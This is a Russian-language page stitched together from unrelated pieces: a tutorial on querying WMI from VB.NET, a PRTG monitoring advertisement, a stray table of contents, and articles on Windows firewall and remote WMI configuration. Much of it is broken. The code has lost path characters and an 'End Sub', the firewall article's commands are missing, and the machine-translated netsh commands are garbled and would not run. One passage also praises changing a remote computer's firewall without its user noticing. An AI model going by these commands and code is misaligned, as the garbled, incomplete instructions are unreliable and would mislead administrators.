Ресурсы WMI доступны не только через скрипты, к ним можно обращаться из других языков программирования и даже из программ.

Существует два способа обращения к WMI через Visual Basic.NET.

Первый способ берет свое начало из скриптов VBS. Он использует обращение к инстументу winmgmts, как это делалось в методе моникера:

oComputerSystem = GetObject("winmgmts:[Options!]WMINameSpace).ExecQuery(WQLQuery)

Пример запроса модели комьютера (консольное приложение)

Module TestModule
   Sub Main()
       ' Объявление переменных
       Dim oWMIObject As Object
       Dim oComputerSystem As Object
       Try
           ' Подключение к WMI
           oWMIObject = GetObject("winmgmts:{impersonationLevel=impersonate}!\.rootcimv2")
           ' Выполнение запроса
           oComputerSystem = oWMIObject.ExecQuery("Select * from Win32_ComputerSystem")
           For Each oConfigutation As Object In oComputerSystem
               ' Вывод результатов в консоль
               Console.Write(oConfigutation.Model)
           Next
       Catch ex As Exception
           Console.Write("Ошибка запроса к WMI")
       End Try
End Module

Второй способ является более правильным с точки зрения Visual Studio. Он использует классSystem.Managementдля запросов к WMI, в котором указываются пространство WMI, параметры подключения и WQL запрос:

' Задание параметров подключения
mOptions = New Management.ConnectionOptions([Options])
' Задания WMI пространства имен
mScope = New Management.ManagementScope(WMINameSpace, mOptions)
' Задание WQL запроса
mQuery = New Management.ObjectQuery(WQLQuery)
' Создание объекта поиска по WMI с указанными параметрами
mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery)
' Выполнение запроса
mQueryCollection = mSearcher.Get()

Использование полученных объектов аналогично использованию в скриптах.

Пример запроса сервисов локального комьютера (консольное приложение):

Module TestModule
   Sub Main()
       ' Объявление переменных
       Dim mOptions As Management.ConnectionOptions
       Dim mScope As Management.ManagementScope
       Dim mQuery As Management.ObjectQuery
       Dim mSearcher As Management.ManagementObjectSearcher
       Dim mQueryCollection As Management.ManagementObjectCollection
       ' Задание параметров подключения
       mOptions = New Management.ConnectionOptions
       ' Задания WMI пространства имен
       mScope = New Management.ManagementScope("\.rootcimv2", mOptions)
       ' Задание WQL запроса
       mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service")
       ' Создание объекта поиска по WMI с указанными параметрами
       mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery)
       Try
           ' Выполнение запроса
           mQueryCollection = mSearcher.Get()
           ' Вывод результатов в консоль
           For Each mObject As Management.ManagementObject In mQueryCollection
               Console.WriteLine(mObject.Item("DisplayName").ToString)
           Next
       Catch ex As Exception
           Console.Write("Ошибка запроса к WMI")
       End Try
   End Sub
End Module

В качестве примера прораммы использования WMI в Visual Basic.Net представлено консольное приложение управления сервисом печати компьютера. Приложение запрашивает модель компьютера и выводит результат в консоль. После чего запрашивает состояние сервиса печати и, если он остановлен, предлагает запустить его.

Приложение разделено на две части: класс, который компилируется в динамическую библиотеку DLL, и программа, которая собирается в исполняемый файл EXE.

Листинг файла WMIClass.vb:

Public Class WMIClass

' Функция получения модели копьютера
#Region "GetModel 1.0"
   Public Function GetModel(Optional ByVal IPAddress As String = ".") As String
       Dim mTempValue As String = Nothing
       Try
           Dim oComputerSystem = GetObject("winmgmts:{impersonationLevel=impersonate}!\" & _
             IPAddress & "rootcimv2").ExecQuery("Select * from Win32_ComputerSystem")
           For Each oConfigutation As Object In oComputerSystem
               mTempValue = oConfigutation.Model
           Next
       Catch ex As Exception

       End Try
       Return mTempValue
   End Function
#End Region

' Функция получения состояния сервиса компьютера
#Region "GetServiceState 1.0"
   Public Function GetServiceState(Optional ByVal IPAddress As String = ".", _
     Optional ByVal ServiceName As String = "winmgmt") As Boolean
       Dim mOptions As Management.ConnectionOptions
       Dim mScope As Management.ManagementScope
       Dim mQuery As Management.ObjectQuery
       Dim mSearcher As Management.ManagementObjectSearcher
       mOptions = New Management.ConnectionOptions
       mScope = New Management.ManagementScope("\" & IPAddress & "rootcimv2", mOptions)
       mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service " & _
         "WHERE DisplayName = '" & ServiceName & "'")
       mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery)
       Try
           Dim mQueryCollection As Management.ManagementObjectCollection = mSearcher.Get()
           For Each mObject As Management.ManagementObject In mQueryCollection
               If mObject("State") = "Running" Then
                   Return True
               Else
                   Return False
               End If
           Next
           Return False
       Catch ex As Exception
           Return False
       End Try
   End Function

   Public Function GetServiceStateFull(Optional ByVal IPAddress As String = ".", _
     Optional ByVal ServiceName As String = "winmgmt") As String
       Dim mOptions As Management.ConnectionOptions
       Dim mScope As Management.ManagementScope
       Dim mQuery As Management.ObjectQuery
       Dim mSearcher As Management.ManagementObjectSearcher
       mOptions = New Management.ConnectionOptions
       mScope = New Management.ManagementScope("\" & IPAddress & "rootcimv2", mOptions)
       mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service " &
         "WHERE DisplayName = '" & ServiceName & "'")
       mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery)
       Try
           Dim mQueryCollection As Management.ManagementObjectCollection = mSearcher.Get()
           For Each mObject As Management.ManagementObject In mQueryCollection
               Return mObject("State")
           Next
           Return "No data"
       Catch ex As Exception
           Return "No data"
       End Try
   End Function
#End Region
	
' Процедура управления сервисом компьютера
#Region "Manage Service 1.0"
   Public Sub ManageService(Optional ByVal IPAddress As String = ".", _
     Optional ByVal ServiceName As String = "winmgmt", _
     Optional ByVal Action As String = "StartService")
       Dim mOptions As Management.ConnectionOptions
       Dim mScope As Management.ManagementScope
       Dim mQuery As Management.ObjectQuery
       Dim mSearcher As Management.ManagementObjectSearcher
       Dim mQueryCollection As Management.ManagementObjectCollection
       mOptions = New Management.ConnectionOptions
       mScope = New Management.ManagementScope("\" & IPAddress & "rootcimv2", mOptions)
       mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service " & _
         "WHERE DisplayName = '" & ServiceName & "'")
       mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery)
       Try
           mQueryCollection = mSearcher.Get()
           For Each mObject As Management.ManagementObject In mQueryCollection
               mObject.InvokeMethod(Action, Nothing)
           Next
       Catch ex As Exception

       End Try
   End Sub
#End Region
	
End Class

Листинг файла TestModule.vb:

Module TestModule
   ' Создание экземпляра класса WMIClass
   Private mWMIClass_Instance As New WMIClass

   Sub Main()
       Dim mKeyNumber As Integer
       ' Получение модели компьютера и результата в консоль
       Console.WriteLine("Модель компьютера: " & mWMIClass_Instance.GetModel())
       ' Проверка состояния сервиса "Диспетчер печати"
       If mWMIClass_Instance.GetServiceState(, "Диспетчер печати") = True Then
           Console.WriteLine("Служба ""Диспетчер печати"" запущена")
       Else
           Console.WriteLine("Служба ""Диспетчер печати"" остановлена")
           Console.Write("Запустить службу ""Диспетчер печати""? Y/N: ")
           ' Чтение символа с клавиатуры
           mKeyNumber = Console.Read
           If mKeyNumber = 89 Or mKeyNumber = 121 Then
               Console.WriteLine("Запуск службы ""Диспетчер печати""...")
               ' Попытка запуска сервиса "Диспетчер печати"
               mWMIClass_Instance.ManageService(, "Диспетчер печати", "StartService")
               ' Ожидание 5 секунда
               Threading.Thread.Sleep(5000)
               ' Проверка состояния сервиса "Диспетчер печати"
               If mWMIClass_Instance.GetServiceState(, "Диспетчер печати") = True Then
                   Console.WriteLine("Служба ""Диспетчер печати"" успешно запущена")
               Else
                   Console.WriteLine("Запуск службы ""Диспетчер печати"" не удался")
               End If
           End If

       End If
       Console.WriteLine("Нажмите любую клавишу для продолжения")
       ' Ожидание нажатия любой клавиши
       Console.ReadKey()
   End Sub
End Module

Для того, чтобы облегчить написание скриптов и программ, существуют специальные утилиты, которые помогают просмотреть структуру пространства WMI и показавают примеры использования всех классов. Наиболее распространенные утилиты — это Scriptomatic и WMI Code Creator.

Инструмент Scriptomatic предствляет из себя HTA-приложение, которое генерирует код, использующий WMI, на VBSScript, JScript, Perl и Python. Сам по себе WMI может оказаться трудным для изучения, поэтому рекомендуется использовать Scriptomatic для освоения классов WMI, а также для быстрого создания шаблонов обращения к ресерсум WMI. Scriptomatic позволяет выбрать интересующий объект WMI, а затем генерирует код на указанном языке программирования. Полученный код можно выполнить непосредственно в оболочке программы, а результаты вывести в консоль, текстовый файл, HTML, Excel или XML. Инструмент доступен на сайте Microsoft по этой ссылке.

Administration via WMI - wmiscriptomatic

WMI Scriptomatic — Инициализация

Administration via WMI - wmiscriptomatic

WMI Scriptomatic — Win32_OpepatingSystem

Программа WMI Code Creator представляет из себя генератор кода, который использует WMI для получения информации и для осуществления задач упраления компьютерами. Программа может помочь научиться использовать WMI-скрипты и WMI-приложения для управления как локальным, так и удаленным компьютером. Инструмент доступен на сайте Microsoft по этой ссылке.

Используя WMI Code Creator можно найти любую информацию о компьютере: имя и версия операционной системы, свободное место на диске, состояние сервисов и так далее. Можно выполнить метод из WMI класса для осуществления управления компьютером: создать или удалить сервис, запустить или закрыть программы, назначить разрешения на папку или файл и многое другое. Этот инструмент так же позволяет просматривать доступное WMI-пространство и WMI-классы, чтобы найти нужную для программирования инстанцию с ее описанием, свойствами, методами и примером использования.

Administration via WMI - wmicodecreator

WMI Code Creator — Query

Administration via WMI - wmicodecreator

WMI Code Creator — Method

Administration via WMI - wmicodecreator

WMI Code Creator — Event

Administration via WMI - wmicodecreator

WMI Code Creator — Namespace

Итак, Windows Management Instrumentation — это мощный инструмент для администрирования операционных систем семейства Windows с помощью скриптов. С помощью WMI можно управлять устройствами, учетными записями, сервисами, процессами, сетевыми интерфейсами и другими программами, которые расширяют базовую структуру WMI своими классами.

Помимо скриптов WMI может применяться и в полноценных программах, то есть программисты могут внедрять запросы к WMI в исполняемый код, завязывая свою программу с работой WMI, благодаря чему программа становится проще и легче, но зависимой от правильности работы Windows Management Instrumentation.

Интересно, что новая командная оболочка Windows PowerShell связана с WMI как технической точки зрения, так и с точки зрения создания запросов — утилита Wmic.exe функционирует в некотором смысле аналогичным образом. В Windows PowerShell поддержка WMI, представлена в точно таком же согласованном объектном виде, как и другие возможности данной оболочки, поэтому при изучении этой оболочки применение WMI не становится такой сложной задачей, как это было в VBScript — не нужно изучать синтаксис и механизмы языка, отличного от языка скрипта.

Инструменты для написания скриптов ScriptReference.zip.

Более подробно о Windows PowerShell можно будет прочитать в следующих выпусках статей сайта www.SysEngineering.ru.

Виталий Бочкарев

Paessler PRTG

Почему стоит использовать мониторинг WMI?

Мониторинг WMI снимает подробную информацию о состоянии серверов и рабочих станций под управлением Windows. С помощью WMI вы получаете доступ к показателям работы и конфигурациям систем Windows. WMI используют для контроля работы Active Directory, SharePoint, или базы данных SQL. Решение PRTG для мониторинга WMI собирает данные о трафике, загрузке памяти или свободном пространстве на диске. Если на одном из устройств превышены допустимые значения, вы можете сами создать запрос и отслеживать возвращенные значения.

Что такое мониторинг WMI?

 i Что такое сенсор в PRTG?

В PRTG «сенсор» является виртуальной точкой измерения и обычно осуществляет мониторинг одного показателя вашей сети, например, трафик портов коммутаторов, загрузка ЦП сервера или свободное место на жестком диске. В среднем вам понадобится 5-10 сенсоров для одного устройства или один сенсор для порта коммутатора.

Посмотреть видео (3:26 Min., английский)

Определение

Определение

WMI (Windows Management Instrumentation) – это набор инструментов от Microsoft, который позволяет отслеживать состояние рабочих станций и серверов Windows. WMI отображает показатели работы операционной системы, состояние процессов, служб, файловой системы. В WMI используется протокол DCOM (Distributed Component Object Model). Начиная с 2000 года WMI встроена во все операционные системы Windows.

Мониторинг WMI это технология мониторинга серверов и рабочих станций Windows. Не требует установки агентов. С помощью мониторинга WMI администратор отслеживает производительность серверов или приложений Windows в реальном времени.

Преимущество 

Преимущество

Инструментарий WMI уже встроен в системы Windows и запускается как служба Windows (“Windows Management Instrumentation”). Администраторы могут не беспокоиться о том, как контролировать производительность серверов или рабочих станций: чаще всего им достаточно ввести свои учетные данные для доступа к соответствующим устройствам. Через WMI можно собрать информацию о состоянии системы Windows: загрузка процессора, использование памяти, трафик с сетевой карты и другое.

Недостаток

Недостаток

Но есть и недостаток: WMI требует ресурсов. Он сильно нагружает систему. Поэтому, когда вы сканируете Windows с помощью PRTG, рекомендуем использовать не более 200 WMI сенсоров на один зонд, и сканировать длительными интервалами. В то время как в обычной ситуации стандартным является интервал в одну минуту, в случае мониторинга WMI интервал должен быть увеличен до 5 минут.

Еще варианты для мониторинга Windows:

Вариант 1: Как альтернатива мониторингу WMI, администраторы могут использовать SNMP. SNMP позволяет собрать значения по таким параметрам, как доступность, загрузка процессора, память и состояние сетевой карты. SNMP гораздо меньше, чем WMI нагружает систему. Но в большинстве случаев требуется установленная служба SNMP на устройствах и серверах, которые вы планируете мониторить.

Вариант 2: Другая альтернатива WMI – гибридные сенсоры, которые используют для сбора данных и счетчики производительности Windows, в качестве основного метода запроса, и средства WMI, как резерв. Счетчики производительности Windows эффективнее WMI. Но, если счетчики не доступны, используется WMI.

Мониторинг трафика: сравнение WMI, SNMP, Анализ пакетов, NetFlow

Как бы вы реализовали мониторинг трафика? Вот несколько способов от PRTG: Мониторинг с помощью WMI и SNMP, Анализ пакетов (Packet Sniffing) и мониторинг NetFlow. У каждого способа свои преимущества и недостатки. Краткий обзор:

Краткий обзор: WMI, SNMP, Анализ пакетов, Flow

WMI

SNMP

Анализатор пакетов

Flow (IPFIX, NetFlow, sFlow, jFlow)

Сложность настройки

Средняя

Легкая

От легкой до сложной (в зависимости от используемых правил фильтрации)

Может оказаться сложной (например, может потребоваться настройка коммутатора)

Возможность фильтрации трафика

NO

NO

YES

YES

Различение использования пропускной способности по протоколам и IP-адресам

NO

NO

YES

YES

PRTG может показать рейтинги (рейтинг активности, подключений, протоколов, пользовательский рейтинг)

NO

NO

YES

YES

Фильтрация использования пропускной способности по IP-адресам

NO

NO

YES

YES

Фильтрация использования пропускной способности по MAC-адресам

NO

NO

YES

NO

Фильтрация использования пропускной способности по физическим сетевым портам

YES

YES

NO

NO

Мониторинг других сетевых параметров, кроме использования пропускной способности

YES

YES

NO

NO

Загрузка процессора на машине с PRTG

Средняя

Низкая

Выше, в зависимости от объема трафика

Выше, в зависимости от объема трафика

Перегрузка пропускной способности при мониторинге

Невысокая

Невысокая

Нет (кроме случаев, когда для мониторинга используются порты коммутатора)

В зависимости от трафика

Краткое введение в PRTG: мониторинг WMI
 

Сенсор WMI Service

Сенсор WMI Service

Сенсор WMI File

Сенсор WMI File

Сенсор WMI Custom

Сенсор WMI Custom

Быстрый старт вместе с PRTG: более 10 готовых сенсоров для мониторинга WMI

 i Что такое сенсор в PRTG?

В PRTG «сенсор» является виртуальной точкой измерения и обычно осуществляет мониторинг одного показателя вашей сети, например, трафик портов коммутаторов, загрузка ЦП сервера или свободное место на жестком диске. В среднем вам понадобится 5-10 сенсоров для одного устройства или один сенсор для порта коммутатора.

Посмотреть видео (3:26 Min., английский)

PRTG предоставляет широкий набор сенсоров для мониторинга WMI. А ещё вы можете быстро, в несколько кликов, создать собственные WMI сенсоры.

Примеры готовых сенсоров:

  • Сенсор Время бесперебойной работы системы Windows: Этот сенсор отслеживает через WMI время бесперебойной работы устройств под управлением Windows в вашей сети
  • Сенсор Загрузка ЦП Windows: Windows CPU Load Sensor отслеживает через WMI загрузку процессора на вашем компьютере
  • Сенсор Файл WMI: С этим сенсором вы можете отслеживать статус файлов на вашем Windows сервере и рабочих станциях
  • Сенсор Свободное дисковое пространство WMI (на нескольких дисках): Этот сенсор отслеживает свободное пространство на диске
  • Сенсор WMI Microsoft SQL Server 2019: WMI Microsoft SQL Server 2016 Sensor позволяет отслеживать производительность баз данных SQL (SQL 2008, 2012, 2014, 2016, 2017)
  • Сенсор Сетевой адаптер Windows: Используйте этот сенсор, чтобы отслеживать объем трафика, пропускную способность сетевой карты Windows
  • Сенсор Процесс SharePoint WMI: Этот сенсор осуществляет мониторинг сервера Microsoft SharePoint
  • Сенсор Центр безопасности WMI: С этим сенсором возможно реализовать мониторинг всех протоколов безопасности, которые использует Windows Security Center
  • Сенсор Специальные настройки PerfCounter: Этот сенсор собирает данные со счетчиков производительности Windows, которые вы сами настраиваете
  • Сенсор Нестандартный WMI: С помощью WMI Custom Sensor вы можете создавать собственные WMI сенсоры с настраиваемым WQL запросом
  • Сенсор Пул хранения WMI: Этот сенсор контролирует бассейн хранения.
  • Сенсор Аккумулятор WMI: Этот сенсор контролирует доступную емкость и состояние подключенных батарей устройства на базе Windows.

Контроль всех WMI сенсоров – даже, когда вы вне офиса

Программа PRTG устанавливается за несколько минут и совместима с большинством мобильных устройств.

PRTG comes with all the features you need, plus more your IT infrastructure won't want to live without.

vendors vm ware

PRTG контролирует для вас работу этих и многих других производителей и приложений

Мониторинг WMI: Почему PRTG хороший выбор!

20 лет опыта

20 лет опыта

PRTG это продукт компании PAESSLER AG, основанной в 1997. Наша основная и единственная специализация — программные решения для мониторинга производительности систем. Наша служба поддержки постоянно сталкивается с задачами из области WMI – и всегда сможет предложить вам решение.

пользователей

500 000 пользователей

Свыше 500 000 администраторов по всем миру используют наше решение мониторинга. Особенно часто наше решение используется в инфраструктурах, требующих высокого уровня надежности. Подробнее в разделе Истории Успеха.

Простая установка

Простая установка

PRTG поставляется вместе с более чем 250 сенсорами, некоторые автоматически создаются и настраиваются в течение установки. В общем списке сенсоров вы найдете WMI сенсоры. Вы можете создать собственные WMI сенсоры, которые будут учитывать требования и особенности вашей системы.

Встроенное оповещение

Встроенное оповещение

В PRTG встроена система оповещения, которую можно быстро и легко настроить. PRTG мгновенно рассылает оповещения еще до того, как случаются сбои системы. Чтобы не получать большой поток уведомлений, в PRTG предусмотрена система настроек. Установив решение мониторинга от Paessler, вы можете сконцентрироваться на важных задачах, за состоянием системы будет наблюдать PRTG.

Все в одном

Все в одном

PRTG это комплексное решение мониторинга. Благодаря нашему решению вы можете наблюдать за состоянием серверов, рабочих станций, виртуальных сред и других типов решений. PRTG дает вам доступ к разным протоколам: WMI, SNMP, Анализ пакетов (Packet Sniffing), или NetFlow.

quote markus puke

«С PRTG нам работается гораздо спокойнее, зная, что ведется непрерывный мониторинг наших систем»

Маркус Пуке, сетевой администратор, клиника «Шюхтерманн»

Лидирующее решение мониторинга по оценкам экспертов рынка. Нам доверяют более 500 000 пользователей.

trustpilot preview

«Фантастическое решение для мониторинга сети и инфраструктуры, которое легко развернуть и еще проще использовать. Просто лучшее из доступных».

Больше обзоров

gartner preview

«Программное обеспечение абсолютно идеальное, поддержка выше всяких похвал. Отвечает всем потребностям и требованиям. Это обязательное решение, если вам нужен какой-либо вид мониторинга».

Больше обзоров

pcmag preview

«Этот инструмент выделяется своей основной целью – быть единой службой управления инфраструктурой и мониторинга сети».

Больше обзоров

Трудности с мониторингом WMI? Воспользуйтесь нашим PRTG WMI Tester!

При работе с WMI могут возникать трудности. Его сложно настроить, например, когда дело доходит до предоставления прав доступа, или, когда мониторинг должен пройти за пределами определенного домена. Благодаря решению PRTG WMI Tester, вы сможете быстро определить, возможно ли получить доступ к целевому устройству от вашего PRTG сервера с WMI и установить причины ошибок.

WMI тестер - основной экран

WMI тестер — основной экран

volker uffelmann 14 one forth

Практический совет: Добрый день Волкер, можете что-то посоветовать по мониторингу WMI с помощью PRTG?

«WMI прекрасная технология для мониторинга компьютеров под управлением Windows. Если проблемы все же случаются, то это чаще всего результат перегрузки, когда очень много устройств с очень большим числом сенсоров отправляют запросы через очень короткие промежутки времени. В остальных случаях, основные проблемы WMI: права доступа к сети и ограничения домена. В обоих случаях, я бы порекомендовал установить один или больше удаленных зондов PRTG, это быстрое и простое решение»

Волкер Уффелманн, разработчик PRTG

Что нужно учесть при мониторинге WMI

Чтобы реализовать мониторинг WMI, необходимо соблюсти несколько требований. Вот они:

Права доступа

Права доступа

Пользователи Windows, которые отправляют WMI запросы через PRTG должны обладать соответствующими правами доступа. Пользователь должен быть частью той же группы в Active Directory, что и целевой компьютер. Соответствующий пользователь должен также обладать правами удаленного доступа.

 DCOM

DCOM

Протокол DCOM должен быть активирован и на PRTG сервере, и на целевом устройстве, которое вы отслеживаете с помощью средства мониторинга. DCOM требует открытого UDP порта между 1024 и 5000 и динамически выбирает номер порта.

Межсетевой экран

Межсетевой экран

Настройте ваш межсетевой экран, так чтобы он пропускал запросы WMI. Вы также должны активировать статус «Enable Remote Management» (Разрешить удаленный доступ), если межсетевой экран настроен в соответствии с групповыми политиками.

Безопасное программное обеспечение

Безопасное программное обеспечение

Установленное локально решение информационной безопасности, например, антивирус, также необходимо проверить и удостовериться, что оно не заблокирует соединения WMI.

RPC сервер

RPC сервер

Сервер RPC, который используется для WMI на целевом компьютере выполняется по умолчанию на порту 135. Важно, чтобы порт не был заблокирован другим межсетевым экраном и наличие соответствующих конфигураций PRTG.

Больше информации по данной теме в статье в нашей Базе Знаний. Узнать о самых частых проблемах, связанных с сервером вы можете в этой статье.

PRTG The Swiss Army knife

PRTG: Революционнoe программное обеспечение для мониторинга сети

Адаптируйте PRTG индивидуально и динамически к вашим потребностям и полагайтесь на надежный API:

  • HTTP API: доступ к данным мониторинга сети и управления объектами с помощью HTTP-запросов
  • Индивидуальные сенсоры: вы можете добавить собственные сенсоры PRTG для индивидуального мониторинга сети
  • Индивидуальные уведомления: Создавайте свои собственные уведомления и отправляйте триггеры действий во внешние системы
  • Cенсор Специальные настройки REST: Контролируйте практически все, что предоставляет данные в формате XML или JSON

Вы еще сомневаетесь?

 


Более 500 000 системных администраторов в восторге от PRTG.

Paessler PRTG применяется компаниями любых размеров. Сисадминам нравится PRTG, так как это решение существенно облегчает их жизнь.

Вы еще сомневаетесь?


Осуществляйте комплексный мониторинг своей ИТ-инфраструктуры

Полоса пропускания, серверы, виртуальные среды, веб-сайты, сервисы VoIP – PRTG будет держать под контролем все, что есть в
вашей сети.

Paessler PRTG

 


Опробуйте возможности
Paessler PRTG бесплатно

У каждого пользователя свои потребности в мониторинге. Поэтому мы даем вам возможность опробовать PRTG бесплатно. Начните прямо сейчас со своей тестовой версии!

Paessler PRTG

PRTG

Программное обеспечение для мониторинга работы сети — версия 22.4.81.1532 (November 29th, 2022)

Хостинг

Доступна загрузка для Windows и облачная версия PRTG Hosted Monitor (PRTG в облаке)

Языки

Английский, немецкий, русский, испанский, французский, португальский, нидерландский, японский и упрощенный китайский

Цены

Бесплатно вплоть до 100 сенсоров (цены)

Комплексный мониторинг

Сетевые устройства, пропускная способность, серверы, приложения, виртуальные среды, удаленные системы, Интернет вещей и многое другое.

Поддерживаемые поставщики и приложения

Подробнее

cisco logo grey 40
dell logo grey 40
hp logo grey 40
ibm grey40
netapp grey40
linux grey40
aws grey40
windows grey40
vmware grey40
citrix grey40
exchange grey40
apache grey40
oracle grey40

Похожие темы

Содержание

  1. Настройка брандмауэра в Server Core и удаленное управление
  2. Диспетчер устройств (Device Manager)
  3. Управление дисками (Disk Management)
  4. IPSec Management
  5. Настройка брандмауэра Windows из командной строки cmd
  6. Выключение и включение
  7. Разрешение протоколов
  8. Закрытие и открытие портов
  9. Ограничения по IP адресам
  10. Правила для приложений
  11. Комбинирования параметров
  12. Настройка удаленного WMI-подключения
  13. Параметры брандмауэра Windows
  14. Параметры контроля учетных записей
  15. Параметры DCOM
  16. Параметры CIMOM
  17. Настройка брандмауэра Windows для удаленной отладки
  18. Настройка портов для удаленной отладки
  19. Порты на удаленном компьютере, обеспечивающие удаленную отладку
  20. Настройка удаленной отладки через брандмауэр Windows
  21. Разрешение и настройка удаленного отладчика через брандмауэр Windows
  22. Устранение неполадок подключения удаленной отладки
  23. Штатное средство «Подключение к удаленному рабочему столу» в ОС Windows 10
  24. Редакции операционных систем
  25. Учетные записи пользователей
  26. Этапы подготовки компьютера с операционной системой Microsoft Windows 10 в качестве узловой системы для удаленного рабочего стола
  27. Отключение режима автоматического засыпания
  28. Настройка брандмауэра операционной системы Microsoft Windows 10 для удаленного рабочего стола
  29. Активация удаленного рабочего стола
  30. Настройка параметров сетевого обнаружения
  31. Разрешение доступа к удаленному рабочему столу для определенных пользователей
  32. 1 способ
  33. 2 способ
  34. Подключение к удаленному компьютеру через графический интерфейс
  35. Решение проблемы при удаленном подключении с Windows XP к компьютерам под управлением Windows 7/8/8.1/10, а также к серверным операционным системам
  36. Решение проблемы при подключении к удаленному компьютеру, используя учетные данные пользователя с пустым паролем в операционной системе Windows 10

Настройка брандмауэра в Server Core и удаленное управление

Как вы знаете Server Core в Windows Server 2008 не включает в себя традиционный полный графический интерфейс пользователя (GUI).

Как и в стандартной (полной) установке Windows Server 2008, брандмауэр Windows включен по умолчанию, и большинство сетевых портов сразу после установки блокируются. Однако, поскольку основной задачей севера является предоставление некой услуги (будь то некая служба, файл, или что-то другое, что должно быть доступно по сети), вам необходимо разрешить определенный сетевой трафик на брандмауэре.

Одной из причин для открытия входящего трафика на брандмауэре – необходимость дистанционного управления сервером. Как уже упоминалось в предыдущих статьях, вы можете управлять Server Core с помощью локальной командной строки, дистанционно с помощью обычной MMC оснастки, через WinRM и WinRS, и даже через удаленный рабочий стол (хотя вы все равно получите обычное окно командной строки …)

В большинстве случаев после начальной конфигурации сервера, у Вас возникнет необходимость управления ролями и функциями, установленными на сервере, и вероятно, вы захотите использовать MMC-оснастку Administration tools. Есть три сценария удаленного управления через MMC:

Эта команда разрешает использование большинства методик удаленного управления и разрешает доступ к большинству оснасток MMC. Однако есть оснастки, удаленный доступ к которым настраивается дополнительно:

Диспетчер устройств (Device Manager)

Чтобы разрешить подключаться к диспетчеру устройств, нужно включить параметр политики «Allow remote access to the PnP interface».

Управление дисками (Disk Management)

IPSec Management

Вы должны сначала установить удаленное управление для IPSec. Это можно сделать с помощью скрипта scregedit.wsf (он лежит в папке system32):

Таким образом, доступ к большинству MMC оснасток удаленного администрирования, включается одним правилом на брандмауэре — Remote Administration firewall rules. Однако зачастую бывает необходимость предоставить доступ только ограниченному числу MMC-оснасток.

В брандмауэре существуют правила не для всех оснасток, в таблице перечислены существующие правила:

image003

Чтобы включить любую из этих групп, нужно набрать команду:

Где — имя из приведенной таблицы.

Вы также можете удаленно включить их из брандмауэра Windows, запущенного в режиме Advanced Security. Для просмотра всех правил, просто сделайте сортировку по столбцу “Enable”:

Источник

Настройка брандмауэра Windows из командной строки cmd

Способ управления брандмауэром через командную строку имеет массу незаменимых преимуществ перед оконным способом. Если вы хорошо владеете командной строкой, то гораздо быстрей выполните необходимые настройки написав нужные команды в cmd, чем кликая курсором по окнам. К тому же, консольный способ дает возможность управлять брандмауэром удаленного компьютера незаметно для его пользователя.

Рассмотрим подробнее какие команды есть для настройки брандмауэра Windows из командной строки CMD.

Для управление брандмауэром с помощью команд, командную строку CMD необходимо запустить с правами администратора.

Выключение и включение

Выключение сетевых профилей:

Включение сетевых профилей:

Запрет всех входящих соединений и разрешение исходящих:

Разрешение протоколов

Следующее правило принимает входящий трафик по ICMP-протоколу, проще говоря разрешает ping:

Закрытие и открытие портов

Разрешение входящих протоколов TCP и UDP на 80 порт:

Запрет входящих протоколов на 80 порт:

Открыть диапозон портов для исходящего UDP трафика

Удаление правил по имени

Ограничения по IP адресам

правило ограничивающие подключение одно ip-адреса

Ограничение подключений с диапазона ip-адресов или сетей.

Правила для приложений

Разрешить соединения для программы MyApp.exe

Комбинирования параметров

Можно использовать длинные выражения путем комбинирования сразу нескольких параметров:

Мы создали правило, которое разрешает входящие соединения к приложению MyApp из сетей с ip-адресами 157.60.0.1,172.16.0.0/16 и доменным профилем сетевого подключения.

На официальном сайте Microsoft можно ознакомится с примерами сравнения старого контекста Windows XP и нового, который начал использоваться в Windows 7.

Источник

Настройка удаленного WMI-подключения

для подключения к пространству имен WMI на удаленном компьютере может потребоваться изменить параметры брандмауэра Windows, контроля учетных записей (UAC), DCOM или модель CIM диспетчера объектов (CIMOM).

В этом разделе обсуждаются следующие разделы:

Параметры брандмауэра Windows

параметры wmi для Windows параметры брандмауэра позволяют использовать только подключения WMI, а не другие приложения DCOM.

Необходимо задать исключение в брандмауэре для инструментария WMI на удаленном целевом компьютере. Исключение для WMI позволяет инструментарию WMI принимать удаленные подключения и асинхронные обратные вызовы для Unsecapp.exe. Дополнительные сведения см. в разделе Настройка безопасности при асинхронном вызове.

Если клиентское приложение создает собственный приемник, этот приемник необходимо явно добавить в исключения брандмауэра, чтобы разрешить успешные обратные вызовы.

вы можете включить или отключить трафик WMI через пользовательский интерфейс брандмауэра Windows.

Включение или отключение трафика WMI с помощью пользовательского интерфейса брандмауэра

Вы можете включить или отключить трафик WMI через брандмауэр в командной строке.

Включение или отключение трафика WMI в командной строке с помощью группы правил WMI

Используйте следующие команды в командной строке. Введите следующую команду, чтобы включить трафик WMI через брандмауэр.

netsh advfirewall firewall set Rule Group = «Инструментарий управления Windows (WMI)» новое включение = да

Введите следующую команду, чтобы отключить трафик WMI через брандмауэр.

netsh advfirewall firewall set Rule Group = «Инструментарий управления Windows (WMI)» новое включение = нет

Вместо использования одной команды группы правил WMI можно также использовать отдельные команды для каждой DCOM, службы WMI и приемника.

Включение трафика WMI с помощью отдельных правил для DCOM, WMI, приемника обратного вызова и исходящих подключений

Чтобы установить исключение брандмауэра для порта DCOM 135, используйте следующую команду.

netsh advfirewall Firewall добавить правило dir = in Name = «DCOM» Program =% systemroot% system32 svchost.exe Service = RPCSS Action = Allow Protocol = TCP localPort = 135

Чтобы установить исключение брандмауэра для службы WMI, используйте следующую команду.

netsh advfirewall Firewall Add правило dir = in Name = «WMI» Program =% системный_корневой_каталог% system32 svchost.exe Service = Winmgmt Action = Allow Protocol = TCP localPort = Any

Чтобы установить исключение брандмауэра для приемника, который получает обратные вызовы с удаленного компьютера, используйте следующую команду.

netsh advfirewall Firewall добавить правило dir = in имя = «Унсекапп» Program =% systemroot% system32 WBEM unsecapp.exe действие = разрешить

Чтобы установить исключение брандмауэра для исходящих подключений к удаленному компьютеру, с которым локальный компьютер обменивается данными в асинхронном режиме, используйте следующую команду.

